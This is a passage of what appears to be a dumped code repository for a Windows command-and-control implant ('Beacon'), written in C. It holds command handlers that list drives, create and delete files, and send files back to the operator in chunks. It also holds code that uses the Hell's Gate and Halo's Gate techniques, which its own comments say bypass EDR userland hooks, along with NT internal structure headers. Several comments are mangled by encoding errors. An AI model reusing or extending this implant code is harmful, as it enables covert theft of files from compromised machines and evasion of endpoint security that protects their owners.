 fclose(fp);\n        return -1;\n    }\n\n    fclose(fp);\n    return (int)bytesWritten;\n}\nunsigned char* CmdDrives(unsigned char* commandBuf, size_t* Bufflen) {\n    DWORD drives = GetLogicalDrives();\n    unsigned char drives2[20];\n    sprintf(drives2, \"%d\", drives);\n\n    unsigned char* result = (unsigned char*)malloc(strlen(drives2));\n    result[strlen(drives2)]='\\0';\n    memcpy(result, drives2, strlen(drives2));\n    uint8_t command[4];\n    memcpy(command, commandBuf,4);\n\n\n    uint8_t* metaInfoBytes[] = { command, result };\n    size_t metaInfosizes[] = { 4,strlen(result) };\n    size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]);\n    uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays);\n    size_t metaInfoSize = 0;\n    //  sizeof ֵܺ\n    for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) {\n        metaInfoSize += metaInfosizes[i];\n    }\n    *Bufflen = metaInfoSize;\n    return metaInfoconcatenated;\n\n}\nunsigned char* cmdMkdir(unsigned char* cmdBuf,size_t* commandBuflen, size_t* Bufflen) {\n\n    // Create directory with read, write, and execute permissions for user,\n    // read, write, and execute permissions for group, and read and execute\n    // permissions for others.\n    cmdBuf[(size_t)commandBuflen] = '\\0';\n    if (mkdir(cmdBuf, 0777) != 0) {\n        perror(\"Error creating directory\");\n        \n    }\n    unsigned char* Mkdirstr = \"Mkdir success: \";\n    unsigned char* result = (unsigned char*)malloc(strlen(Mkdirstr)+ commandBuflen);\n    memcpy(result, Mkdirstr, strlen(Mkdirstr));\n    memcpy(result+ strlen(Mkdirstr), cmdBuf, commandBuflen);\n    \n    *Bufflen = strlen(Mkdirstr) + (size_t)commandBuflen;\n    return result;\n}\nunsigned char* fileRemove(unsigned char* cmdBuf, size_t* commandBuflen, size_t* Bufflen) {\n    cmdBuf[(size_t)commandBuflen] = '\\0';\n    struct stat path_stat;\n    stat(cmdBuf, &path_stat);\n    if (S_ISDIR(path_stat.st_mode)) {\n        rmdir(cmdBuf);\n    }\n    else {\n        remove(cmdBuf);\n    }\n    \n    remove(cmdBuf);\n    unsigned char* Removestr = \"Remove success: \";\n    unsigned char* result = (unsigned char*)malloc(strlen(Removestr) + commandBuflen);\n    memcpy(result, Removestr, strlen(Removestr));\n    memcpy(result+ strlen(Removestr), cmdBuf, commandBuflen);\n\n    *Bufflen = strlen(Removestr) + (size_t)commandBuflen;\n    return result;\n}\nstruct ThreadArgs {\n    unsigned char* buf;\n    size_t* commandBuflen;\n    size_t* Bufflen;\n};\nDWORD WINAPI myThreadFunction(LPVOID lpParam) {\n    // ̵߳߼\n    Sleep(2000);\n    struct ThreadArgs* args = (struct ThreadArgs*)lpParam;\n    unsigned char* buf = args->buf;\n    size_t* commandBuflen = args->commandBuflen;\n    size_t* Bufflen = args->Bufflen;\n\n\n    printf(\"%d\", args->commandBuflen);\n    struct stat fileInfo;\n    args->buf[(size_t)args->commandBuflen] = '\\0';\n    stat(args->buf, &fileInfo);\n    off_t fileLen = fileInfo.st_size;\n    uint32_t fileLens = (uint32_t)fileLen;\n    //GenerateEvenRandomInt\n    uint8_t fileLenBytes[4];\n    PutUint32BigEndian(fileLenBytes, fileLens);\n    uint32_t rand = (uint32_t)GenerateEvenRandomInt(10000, 99999);\n    uint8_t requestIDBytes[4];\n    PutUint32BigEndian(requestIDBytes, rand);\n    uint8_t* metaInfoBytes[] = { requestIDBytes, fileLenBytes,args->buf };\n    size_t metaInfosizes[] = { 4,4,(size_t)args->commandBuflen };\n    size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]);\n    uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays);\n    size_t metaInfoSize = 0;\n    //  sizeof ֵܺ\n    for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) {\n        metaInfoSize += metaInfosizes[i];\n    }\n    DataProcess(metaInfoconcatenated, metaInfoSize, 2);\n\n    FILE* fileHandle = fopen(args->buf, \"rb\");\n    if (fileHandle == NULL) {\n        \n        return;\n    }\n\n    char* fileBuf = malloc(1024 * 1024);\n    if (fileBuf == NULL) {\n        fclose(fileHandle);\n        \n        return;\n    }\n    \n    size_t bytesRead;\n    size_t resultSize = 0;\n    while ((bytesRead = fread(fileBuf, 1, 1024 * 1024, fileHandle)) > 0) {\n        // ﴦȡļ\n        uint8_t* metaInfoBytes1[] = { requestIDBytes, fileBuf };\n        size_t metaInfosizes1[] = { 4,bytesRead };\n        size_t metaInfoBytesArrays1 = sizeof(metaInfoBytes1) / sizeof(metaInfoBytes1[0]);\n        uint8_t* metaInfoconcatenated1 = ConByte(metaInfoBytes1, metaInfosizes1, metaInfoBytesArrays1);\n        size_t metaInfoSize1 = 0;\n        //  sizeof ֵܺ\n        for (size_t i = 0; i < sizeof(metaInfosizes1) / sizeof(metaInfosizes1[0]); ++i) {\n            metaInfoSize1 += metaInfosizes1[i];\n        }\n        //sprintf(result, \"%08X%s\", requestIDBytes, fileBuf);\n       \n        // ݴ\n        DataProcess(metaInfoconcatenated1, metaInfoSize1,8);\n        resultSize += metaInfoSize1;\n        if (resultSize > 1024 * 1024 * 10) {\n            char metaInfoSize1String[20]; // Assuming a reasonable buffer size\n            snprintf(metaInfoSize1String, sizeof(metaInfoSize1String), \"%zu\", resultSize);\n            // Assign the string to a char*\n            char* charPointer = strdup(metaInfoSize1String);\n            char* jia = \"[+] Dowload Size \";\n            char* kong = \" \";\n            unsigned char* result = (unsigned char*)malloc(26+ (size_t)args->commandBuflen);\n            memcpy(result, jia, 18); \n            memcpy(result+18, args->buf, (size_t)args->commandBuflen);\n            memcpy(result + 18 + (size_t)args->commandBuflen, kong, 2);\n            memcpy(result + 20+ (size_t)args->commandBuflen, charPointer, 8);\n            DataProcess(result, 28+ (size_t)args->commandBuflen, 0);\n            resultSize = 0;\n        }\n        \n\n        // 50\n        // ע⣺ʵӦпҪʹøȷĵȴ\n        Sleep(50);\n    }\n\n    //fclose(fileHandle);\n    //uint8_t* metaInfoBytes2[] = { requestIDBytes };\n    //size_t metaInfosizes2[] = { 4 };\n    //size_t metaInfoBytesArrays2 = sizeof(metaInfoBytes2) / sizeof(metaInfoBytes2[0]);\n    //uint8_t* metaInfoconcatenated2 = ConByte(metaInfoBytes2, metaInfosizes2, metaInfoBytesArrays2);\n    //size_t metaInfoSize2 = 0;\n    ////  sizeof ֵܺ\n    //for (size_t i = 0; i < sizeof(metaInfosizes2) / sizeof(metaInfosizes2[0]); ++i) {\n    //    metaInfoSize2 += metaInfosizes2[i];\n    //}\n    unsigned char* requestIDByte = (unsigned char*)malloc(4);\n    memcpy(requestIDByte, requestIDBytes,4);\n    DataProcess(requestIDByte, 4, 9);\n\n    return 0;\n}\nunsigned char* Download(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen) {\n    //pthread_t myThread;\n\n    struct ThreadArgs* args = (struct ThreadArgs*)malloc(sizeof(struct ThreadArgs));\n    if (args == NULL) {\n        // ڴʧܵ\n        return NULL;\n    }\n\n    args->buf = buf;\n    args->commandBuflen = commandBuflen;\n\n    //// ߳\n    //if (pthread_create(&myThread, NULL, myThreadFunction, &args) != 0) {\n    //    fprintf(stderr, \"Failed to create thread\\n\");\n    //    return 1;\n    //}\n    //// ߳Ϊ״̬\n    //if (pthread_detach(myThread) != 0) {\n    //    fprintf(stderr, \"Failed to detach thread\\n\");\n    //    return 1;\n    //}\n    HANDLE myThread = CreateThread(\n        NULL,                       // Ḭ̆߳ȫ\n        0,                          // Ĭ϶ջС\n        myThreadFunction,           // ̺߳\n        args,                       // ݸ̺߳Ĳ\n        0,                          // Ĭϴ־\n        NULL);                      // 洢߳ID\n\n    if (myThread == NULL) {\n        fprintf(stderr, \"Failed to create thread. Error code: %lu\\n\", GetLastError());\n        return 1;\n    }\n    //WaitForSingleObject(myThread, INFINITE);\n\n    // ر̺߳¼\n    CloseHandle(myThread);\n    unsigned char* Removestr = \"[+] Downloading \";\n    unsigned char* result = (unsigned char*)malloc(strlen(Removestr) + commandBuflen);\n    memcpy(result, Removestr, strlen(Removestr));\n    memcpy(result + strlen(Removestr), buf, commandBuflen);\n\n    *Bufflen = strlen(Removestr) + (size_t)commandBuflen;\n\n\n    return result;\n\n\n}"
  },
  {
    "path": "Beacon/GuangMing.c",
    "content": "/*\nAuthor: Bobby Cooke @0xBoku | https://github.com/boku7 | https://0xBoku.com | https://www.linkedin.com/in/bobby-cooke/\nCredits / References: Pavel Yosifovich (@zodiacon),Reenz0h from @SEKTOR7net, @smelly__vx & @am0nsec ( Creators/Publishers of the Hells Gate technique)\n*/\n#include <Windows.h>\n#include \"GuangMing.h\"\n#include <stdio.h>\n\n\nPVOID ntdll = NULL;\nPVOID ntdllExportTable = NULL;\n\nPVOID ntdllExAddrTbl = NULL;\nPVOID ntdllExNamePtrTbl = NULL;\nPVOID ntdllExOrdinalTbl = NULL;\n\nconst char SyscallString[] = \"NtAllocateVirtualMemory\";\nDWORD SyscallLen = 0;\nPVOID SyscallAddr = NULL;\nDWORD SyscallNumber = 0;\n\n\n\nSYSTEM_PROCESS_INFORMATION* procinfo;\n\nDWORD GetSyscallNumber(char* Page, int SyscallLen) {\n\tchar SyscallString[32];\n\tmemcpy(SyscallString, Page, SyscallLen);\n\tSyscallString[SyscallLen] = '\\0';\n\tprintf(\"###################################################################\\r\\n\");\n\t// Use Position Independent Shellcode to resolve the address of NTDLL and its export tables\n\tntdll = getntdll();\n\tprintf(\"[+] %p : NTDLL Base Address\\r\\n\", ntdll);\n\n\tntdllExportTable = getExportTable(ntdll);\n\tprintf(\"[+] %p : NTDLL Export Table Address\\r\\n\", ntdllExportTable);\n\n\tntdllExAddrTbl = getExAddressTable(ntdllExportTable, ntdll);\n\tprintf(\"[+] %p : NTDLL Export Address Table Address\\r\\n\", ntdllExAddrTbl);\n\n\tntdllExNamePtrTbl = getExNamePointerTable(ntdllExportTable, ntdll);\n\tprintf(\"[+] %p : NTDLL Export Name Pointer Table Address\\r\\n\", ntdllExNamePtrTbl);\n\n\tntdllExOrdinalTbl = getExOrdinalTable(ntdllExportTable, ntdll);\n\tprintf(\"[+] %p : NTDLL Export Ordinal Table Address\\r\\n\", ntdllExOrdinalTbl);\n\tprintf(\"###################################################################\\r\\n\\r\\n\");\n\t// Find the address of NTDLL.NtQuerySystemInformation by looping through NTDLL export tables\n\t//SyscallLen = strl(SyscallString);\n\tprintf(\"[-] Looping through NTDLL Export tables to discover the address for NTDLL.%s..\\r\\n\", SyscallString);\n\tSyscallAddr = getApiAddr(\n\t\tSyscallLen,\n\t\tSyscallString,\n\t\tntdll,\n\t\tntdllExAddrTbl,\n\t\tntdllExNamePtrTbl,\n\t\tntdllExOrdinalTbl\n\t);\n\tprintf(\"[+] %p : NTDLL.%s Address\\r\\n\\r\\n\", SyscallAddr, SyscallString);\n\tprintf(\"[-] Using HellsGate technique to discover syscall for %s..\\r\\n\", SyscallString);\n\t\n\tSyscallNumber = findSyscallNumber(SyscallAddr);\n\t// HalosGate technique to recover the systemcall number. Used when stub in NTDLL is hooked. This evades/bypasses EDR Userland hooks\n\tif (SyscallNumber == 0) {\n\t\tprintf(\"[!] Failed to discover the syscall number for . The API is likely hooked by EDR\\r\\n\");\n\t\tprintf(\"[-] Using HalosGate technique to discover syscall for ..\\r\\n\");\n\t\tDWORD index = 0;\n\t\twhile (SyscallNumber == 0) {\n\t\t\tindex++;\n\t\t\t// Check for unhooked Sycall Above the target stub\n\t\t\tSyscallNumber = halosGateUp(SyscallAddr, index);\n\t\t\tif (SyscallNumber) {\n\t\t\t\tSyscallNumber = SyscallNumber - index;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t// Check for unhooked Sycall Below the target stub\n\t\t\tSyscallNumber = halosGateDown(SyscallAddr, index);\n\t\t\tif (SyscallNumber) {\n\t\t\t\tSyscallNumber = SyscallNumber + index;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\n\n\t// Allocate the buffer for the process information returned from NtQuerySystemInformation\n\t//ULONG size = 1 << 18;\n\t//PVOID base_addr = NULL;\n\t//SIZE_T buffSize1 = (SIZE_T)size;\n\t//ULONG required = 0;\n\n\t// NtAllocateVirtualMemory\n\t\n\treturn SyscallNumber;\n\t//// NtQuerySystemInformation\n\t//HellsGate(ntQrySysInfoSyscallNumber);\n\n\t//NTSTATUS status = HellDescent(SystemProcessInformation, base_addr, size, &required);\n\n\t//if (status == STATUS_BUFFER_TOO_SMALL) {\n\t//\tsize = required + (1 << 14);\n\t//\tSIZE_T buffSize2 = size;\n\t//\t// NtAllocateVirtualMemory\n\t//\tHellsGate(SyscallNumber);\n\t//\tHellDescent((HANDLE)-1, &base_addr, 0, &buffSize2, MEM_COMMIT | MEM_RESERVE, SyscallString_READWRITE);\n\t//}\n\n\t//NTSTATUS status2 = HellDescent(SystemProcessInformation, base_addr, size, &required);\n\n\t//procinfo = (SYSTEM_PROCESS_INFORMATION*)base_addr;\n\t//while (TRUE) {\n\t//\tBOOL check = compExplorer(procinfo->ImageName.Buffer);\n\t//\tif (check == 1) {\n\t//\t\tprintf(\"%ws | PID: %6u | PPID: %6u\\n\",\n\t//\t\t\tprocinfo->ImageName.Buffer,\n\t//\t\t\tHandleToULong(procinfo->UniqueProcessId),\n\t//\t\t\tHandleToULong(procinfo->InheritedFromUniqueProcessId)\n\t//\t\t);\n\t//\t\tbreak;\n\t//\t}\n\t//\tprocinfo = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)procinfo + procinfo->NextEntryOffset);\n\t//}\n\t//return;\n}"
  },
  {
    "path": "Beacon/GuangMing.h",
    "content": "#define RTL_MAX_DRIVE_LETTERS 32\n\n\nDWORD GetSyscallNumber(char* Page,int len);\nextern VOID HellsGate(WORD wSystemCall);\nextern HellDescent();\n\nEXTERN_C PVOID getntdll();\n\nEXTERN_C PVOID getExportTable(\n\tIN PVOID moduleAddr\n);\n\nEXTERN_C PVOID getExAddressTable(\n\tIN PVOID moduleExportTableAddr,\n\tIN PVOID moduleAddr\n);\n\nEXTERN_C PVOID getExNamePointerTable(\n\tIN PVOID moduleExportTableAddr,\n\tIN PVOID moduleAddr\n);\n\nEXTERN_C PVOID getExOrdinalTable(\n\tIN PVOID moduleExportTableAddr,\n\tIN PVOID moduleAddr\n);\n\nEXTERN_C PVOID getApiAddr(\n\tIN DWORD apiNameStringLen,\n\tIN LPSTR apiNameString,\n\tIN PVOID moduleAddr,\n\tIN PVOID ExExAddressTable,\n\tIN PVOID ExNamePointerTable,\n\tIN PVOID ExOrdinalTable\n);\n\nEXTERN_C DWORD findSyscallNumber(\n\tIN PVOID ntdllApiAddr\n);\n\nEXTERN_C DWORD halosGate(\n\tIN PVOID ntdllApiAddr,\n\tIN WORD index\n);\n\nEXTERN_C DWORD compExplorer(\n\tIN PVOID explorerWString\n);\n\ntypedef struct _UNICODE_STRING\n{\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tPWSTR  Buffer;\n} UNICODE_STRING, * PUNICODE_STRING;\n\ntypedef struct _PS_ATTRIBUTE\n{\n\tULONG  Attribute;\n\tSIZE_T Size;\n\tunion\n\t{\n\t\tULONG Value;\n\t\tPVOID ValuePtr;\n\t} u1;\n\tPSIZE_T ReturnLength;\n} PS_ATTRIBUTE, * PPS_ATTRIBUTE;\n\n#define STATUS_BUFFER_TOO_SMALL 0xC0000004\n\ntypedef struct _RTL_DRIVE_LETTER_CURDIR {\n\tUSHORT                  Flags;\n\tUSHORT                  Length;\n\tULONG                   TimeStamp;\n\tUNICODE_STRING          DosPath;\n} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;\n\ntypedef struct _CURDIR\n{\n\tUNICODE_STRING DosPath;\n\tPVOID Handle;\n} CURDIR, * PCURDIR;\n\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS\n{\n\tULONG MaximumLength;\n\tULONG Length;\n\n\tULONG Flags;\n\tULONG DebugFlags;\n\n\tHANDLE ConsoleHandle;\n\tULONG ConsoleFlags;\n\tHANDLE StandardInput;\n\tHANDLE StandardOutput;\n\tHANDLE StandardError;\n\n\tCURDIR CurrentDirectory;\n\tUNICODE_STRING DllPath;\n\tUNICODE_STRING ImagePathName;\n\tUNICODE_STRING CommandLine;\n\tPVOID Environment;\n\n\tULONG StartingX;\n\tULONG StartingY;\n\tULONG CountX;\n\tULONG CountY;\n\tULONG CountCharsX;\n\tULONG CountCharsY;\n\tULONG FillAttribute;\n\n\tULONG WindowFlags;\n\tULONG ShowWindowFlags;\n\tUNICODE_STRING WindowTitle;\n\tUNICODE_STRING DesktopInfo;\n\tUNICODE_STRING ShellInfo;\n\tUNICODE_STRING RuntimeData;\n\tRTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];\n\n\tULONG EnvironmentSize;\n\tULONG EnvironmentVersion;\n\tPVOID PackageDependencyData;\n\tULONG ProcessGroupId;\n\tULONG LoaderThreads;\n} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;\n\ntypedef enum _PS_CREATE_STATE\n{\n\tPsCreateInitialState,\n\tPsCreateFailOnFileOpen,\n\tPsCreateFailOnSectionCreate,\n\tPsCreateFailExeFormat,\n\tPsCreateFailMachineMismatch,\n\tPsCreateFailExeName,\n\tPsCreateSuccess,\n\tPsCreateMaximumStates\n} PS_CREATE_STATE, * PPS_CREATE_STATE;\n\ntypedef struct _OBJECT_ATTRIBUTES\n{\n\tULONG           Length;\n\tHANDLE          RootDirectory;\n\tPUNICODE_STRING ObjectName;\n\tULONG           Attributes;\n\tPVOID           SecurityDescriptor;\n\tPVOID           SecurityQualityOfService;\n} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;\n\ntypedef struct _PS_CREATE_INFO\n{\n\tSIZE_T Size;\n\tPS_CREATE_STATE State;\n\tunion\n\t{\n\t\t// PsCreateInitialState\n\t\tstruct {\n\t\t\tunion {\n\t\t\t\tULONG InitFlags;\n\t\t\t\tstruct {\n\t\t\t\t\tUCHAR  WriteOutputOnExit : 1;\n\t\t\t\t\tUCHAR  DetectManifest : 1;\n\t\t\t\t\tUCHAR  IFEOSkipDebugger : 1;\n\t\t\t\t\tUCHAR  IFEODoNotPropagateKeyState : 1;\n\t\t\t\t\tUCHAR  SpareBits1 : 4;\n\t\t\t\t\tUCHAR  SpareBits2 : 8;\n\t\t\t\t\tUSHORT ProhibitedImageCharacteristics : 16;\n\t\t\t\t};\n\t\t\t};\n\t\t\tACCESS_MASK AdditionalFileAccess;\n\t\t} InitState;\n\t\t// PsCreateFailOnSectionCreate\n\t\tstruct {\n\t\t\tHANDLE FileHandle;\n\t\t} FailSection;\n\t\t// PsCreateFailExeFormat\n\t\tstruct {\n\t\t\tUSHORT DllCharacteristics;\n\t\t} ExeFormat;\n\t\t// PsCreateFailExeName\n\t\tstruct {\n\t\t\tHANDLE IFEOKey;\n\t\t} ExeName;\n\t\t// PsCreateSuccess\n\t\tstruct {\n\t\t\tunion {\n\t\t\t\tULONG OutputFlags;\n\t\t\t\tstruct {\n\t\t\t\t\tUCHAR  ProtectedProcess : 1;\n\t\t\t\t\tUCHAR  AddressSpaceOverride : 1;\n\t\t\t\t\tUCHAR  DevOverrideEnabled : 1; // from Image File Execution Options\n\t\t\t\t\tUCHAR  ManifestDetected : 1;\n\t\t\t\t\tUCHAR  ProtectedProcessLight : 1;\n\t\t\t\t\tUCHAR  SpareBits1 : 3;\n\t\t\t\t\tUCHAR  SpareBits2 : 8;\n\t\t\t\t\tUSHORT SpareBits3 : 16;\n\t\t\t\t};\n\t\t\t};\n\t\t\tHANDLE    FileHandle;\n\t\t\tHANDLE    SectionHandle;\n\t\t\tULONGLONG UserProcessParametersNative;\n\t\t\tULONG     UserProcessParametersWow64;\n\t\t\tULONG     CurrentParameterFlags;\n\t\t\tULONGLONG PebAddressNative;\n\t\t\tULONG     PebAddressWow64;\n\t\t\tULONGLONG ManifestAddress;\n\t\t\tULONG     ManifestSize;\n\t\t} SuccessState;\n\t};\n} PS_CREATE_INFO, * PPS_CREATE_INFO;\n\ntypedef struct _PS_ATTRIBUTE_LIST\n{\n\tSIZE_T       TotalLength;\n\tPS_ATTRIBUTE Attributes[1];\n} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;\n\n\ntypedef enum _KWAIT_REASON\n{\n\tExecutive = 0,\n\tFreePage = 1,\n\tPageIn = 2,\n\tPoolAllocation = 3,\n\tDelayExecution = 4,\n\tSuspended = 5,\n\tUserRequest = 6,\n\tWrExecutive = 7,\n\tWrFreePage = 8,\n\tWrPageIn = 9,\n\tWrPoolAllocation = 10,\n\tWrDelayExecution = 11,\n\tWrSuspended = 12,\n\tWrUserRequest = 13,\n\tWrEventPair = 14,\n\tWrQueue = 15,\n\tWrLpcReceive = 16,\n\tWrLpcReply = 17,\n\tWrVirtualMemory = 18,\n\tWrPageOut = 19,\n\tWrRendezvous = 20,\n\tSpare2 = 21,\n\tSpare3 = 22,\n\tSpare4 = 23,\n\tSpare5 = 24,\n\tWrCalloutStack = 25,\n\tWrKernel = 26,\n\tWrResource = 27,\n\tWrPushLock = 28,\n\tWrMutex = 29,\n\tWrQuantumEnd = 30,\n\tWrDispatchInt = 31,\n\tWrPreempted = 32,\n\tWrYieldExecution = 33,\n\tWrFastMutex = 34,\n\tWrGuardedMutex = 35,\n\tWrRundown = 36,\n\tMaximumWaitReason = 37\n} KWAIT_REASON;\n\ntypedef LONG KPRIORITY;\n\ntypedef struct _CLIENT_ID\n{\n\tHANDLE UniqueProcess;\n\tHANDLE UniqueThread;\n} CLIENT_ID, * PCLIENT_ID;\n\ntypedef struct _SYSTEM_THREAD_INFORMATION\n{\n\tLARGE_INTEGER KernelTime;\n\tLARGE_INTEGER UserTime;\n\tLARGE_INTEGER CreateTime;\n\tULONG WaitTime;\n\tPVOID StartAddress;\n\tCLIENT_ID ClientId;\n\tKPRIORITY Priority;\n\tLONG BasePriority;\n\tULONG ContextSwitches;\n\tULONG ThreadState;\n\tKWAIT_REASON WaitReason;\n} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;\n\n\ntypedef struct _SYSTEM_PROCESS_INFORMATION\n{\n\tULONG NextEntryOffset;\n\tULONG NumberOfThreads;\n\tLARGE_INTEGER WorkingSetPrivateSize; // since VISTA\n\tULONG HardFaultCount; // since WIN7\n\tULONG NumberOfThreadsHighWatermark; // since WIN7\n\tULONGLONG CycleTime; // since WIN7\n\tLARGE_INTEGER CreateTime;\n\tLARGE_INTEGER UserTime;\n\tLARGE_INTEGER KernelTime;\n\tUNICODE_STRING ImageName;\n\tKPRIORITY BasePriority;\n\tHANDLE UniqueProcessId;\n\tHANDLE InheritedFromUniqueProcessId;\n\tULONG HandleCount;\n\tULONG SessionId;\n\tULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation)\n\tSIZE_T PeakVirtualSize;\n\tSIZE_T VirtualSize;\n\tULONG PageFaultCount;\n\tSIZE_T PeakWorkingSetSize;\n\tSIZE_T WorkingSetSize;\n\tSIZE_T QuotaPeakPagedPoolUsage;\n\tSIZE_T QuotaPagedPoolUsage;\n\tSIZE_T QuotaPeakNonPagedPoolUsage;\n\tSIZE_T QuotaNonPagedPoolUsage;\n\tSIZE_T PagefileUsage;\n\tSIZE_T PeakPagefileUsage;\n\tSIZE_T PrivatePageCount;\n\tLARGE_INTEGER ReadOperationCount;\n\tLARGE_INTEGER WriteOperationCount;\n\tLARGE_INTEGER OtherOperationCount;\n\tLARGE_INTEGER ReadTransferCount;\n\tLARGE_INTEGER WriteTransferCount;\n\tLARGE_INTEGER OtherTransferCount;\n\tSYSTEM_THREAD_INFORMATION Threads[1];\n} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;\n\n// source:http://www.microsoft.com/whdc/system/Sysinternals/MoreThan64proc.mspx\n// https://processhacker.sourceforge.io/doc/ntexapi_8h_source.html#l01202\ntypedef enum _SYSTEM_INFORMATION_CLASS\n{\n\tSystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION\n\tSystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION\n\tSystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION\n\tSystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION\n\tSystemPathInformation, // not implemented\n\tSystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION\n\tSystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION\n\tSystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION\n\tSystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION\n\tSystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION\n\tSystemCallTimeInformation, // 10, not implemented\n\tSystemModuleInformation, // q: RTL_PROCESS_MODULES\n\tSystemLocksInformation,\n\tSystemStackTraceInformation,\n\tSystemPagedPoolInformation, // not implemented\n\tSystemNonPagedPoolInformation, // not implemented\n\tSystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION\n\tSystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION\n\tSystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION\n\tSystemVdmInstemulInformation, // q\n\tSystemVdmBopInformation, // 20, not implemented\n\tSystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache)\n\tSystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION\n\tSystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION\n\tSystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege)\n\tSystemFullMemoryInformation, // not implemented\n\tSystemLoadGdiDriverInformation, // s (kernel-mode only)\n\tSystemUnloadGdiDriverInformation, // s (kernel-mode only)\n\tSystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege)\n\tSystemSummaryMemoryInformation, // not implemented\n\tSystemMirrorMemoryInformation, // 30, s (requires license value \"Kernel-MemoryMirroringSupported\") (requires SeShutdownPrivilege)\n\tSystemPerformanceTraceInformation, // s\n\tSystemObsolete0, // not implemented\n\tSystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION\n\tSystemCrashDumpStateInformation, // s (requires SeDebugPrivilege)\n\tSystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION\n\tSystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION\n\tSystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege)\n\tSystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only\n\tSystemPrioritySeperation, // s (requires SeTcbPrivilege)\n\tSystemVerifierAddDriverInformation, // 40, s (requires SeDebugPrivilege)\n\tSystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege)\n\tSystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION\n\tSystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION\n\tSystemCurrentTimeZoneInformation, // q\n\tSystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION\n\tSystemTimeSlipNotification, // s (requires SeSystemtimePrivilege)\n\tSystemSessionCreate, // not implemented\n\tSystemSessionDetach, // not implemented\n\tSystemSessionInformation, // not implemented\n\tSystemRangeStartInformation, // 50, q\n\tSystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege)\n\tSystemVerifierThunkExtend, // s (kernel-mode only)\n\tSystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION\n\tSystemLoadGdiDriverInSystemSpace, // s (kernel-mode only) (same as SystemLoadGdiDriverInformation)\n\tSystemNumaProcessorMap, // q\n\tSystemPrefetcherInformation, // q: PREFETCHER_INFORMATION; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation\n\tSystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION\n\tSystemRecommendedSharedDataAlignment, // q\n\tSystemComPlusPackage, // q; s\n\tSystemNumaAvailableMemory, // 60\n\tSystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION\n\tSystemEmulationBasicInformation, // q\n\tSystemEmulationProcessorInformation,\n\tSystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX\n\tSystemLostDelayedWriteInformation, // q: ULONG\n\tSystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION\n\tSystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION\n\tSystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION\n\tSystemHotpatchInformation, // q; s\n\tSystemObjectSecurityMode, // 70, q\n\tSystemWatchdogTimerHandler, // s (kernel-mode only)\n\tSystemWatchdogTimerInformation, // q (kernel-mode only); s (kernel-mode only)\n\tSystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION\n\tSystemWow64SharedInformationObsolete, // not 